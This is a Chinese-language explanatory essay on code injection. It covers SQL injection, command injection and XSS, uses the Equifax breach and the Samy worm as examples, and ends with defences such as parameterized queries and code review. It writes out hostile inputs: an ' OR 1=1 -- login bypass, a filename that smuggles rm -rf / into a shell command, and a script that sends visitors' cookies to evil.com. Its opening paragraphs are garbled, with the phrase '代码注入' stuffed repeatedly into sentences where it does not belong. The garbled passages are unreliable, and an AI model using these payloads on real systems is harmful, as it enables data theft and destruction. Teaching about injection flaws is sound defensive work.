2017年,代码注入Equifax 泄露了1.47亿美国人的代码注入信用数据。事后复盘,代码注入攻击者用的代码注入不是什么零日漏洞——他们利用的是Apache Struts 2的一个已知漏洞,补丁两个月前就发布了,代码注入但Equifax忘了打。代码注入这件事说明了一个问题:代码注入从来不靠多高明的代码注入手段取胜,它靠的代码注入是你疏忽的那一个下午。
代码注入的代码注入本质就一句话:程序把用户输入的数据当成了代码来执行。SQL注入是代码注入最老的一种。你写了个登录框,代码注入后端拼SQL字符串:
SELECT * FROM users WHERE name = '" + input + "' 用户在输入框里敲 ' OR 1=1 --,代码注入整条SQL的代码注入逻辑就被改写了。数据库乖乖把所有用户都吐出来。代码注入二十多年过去了,代码注入这种写法居然还在生产环境里跑着。
我见过一个真实的案例。某中型电商的后台管理系统,搜索订单的功能用的是字符串拼接。一个刚入职的测试工程师在搜索框里输入了单引号,页面直接报了500,错误信息里把完整的SQL语句打印出来了。表名、字段名、数据库版本,一览无余。从那一刻起,这个系统对任何略懂SQL的人来说,就是一本打开的书。
SQL注入只是冰山一角。命令注入更直接。PHP里有个函数叫 system(),你把用户输入传进去,用户就能在服务器上跑任意shell命令。有人写了个图片处理工具,用 exec("convert " + filename + " output.png"),用户把文件名传成 a.jpg; rm -rf /,服务器就没了。听起来离谱?CVE数据库里这类漏洞一抓一大把。
XSS(跨站脚本注入)走的是另一条路。它不攻击服务器,攻击的是其他用户。你在评论区提交一段 <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>,如果网站没做转义,每个看到这条评论的人,cookie都会被发到攻击者的服务器上。2005年MySpace上的Samy蠕虫就是这么干的,20小时内感染了超过100万个用户页面。
防御手段其实不复杂。参数化查询能干掉绝大多数SQL注入。对用户输入做白名单校验、转义输出、用CSP限制脚本来源——这些都是成熟方案。问题在于,写安全代码比写能跑的代码麻烦。开发者赶进度,产品经理催上线,安全审查排在最后。等到出事的时候,损失已经摆在那了。
有个现象挺有意思:同一个团队,写前端的时候知道要用React的JSX自动转义,写后端SQL的时候却开始拼字符串。不是不懂,是觉得“这里不会有问题”。代码注入的每一个成功案例背后,都有一个人曾经这么想过。
工具层面,现在有SAST(静态应用安全测试)可以扫描代码里的注入风险,DAST(动态应用安全测试)能在运行时发现问题。但这些工具报出来的误报率高得让人麻木,很多团队扫了几次之后就关掉了通知。真正有效的做法可能很土:代码审查的时候,看到字符串拼接SQL就打回去。没有例外。
代码注入不会消失。只要还有人把数据当代码用,它就会一直存在。这不是技术难题,是习惯问题。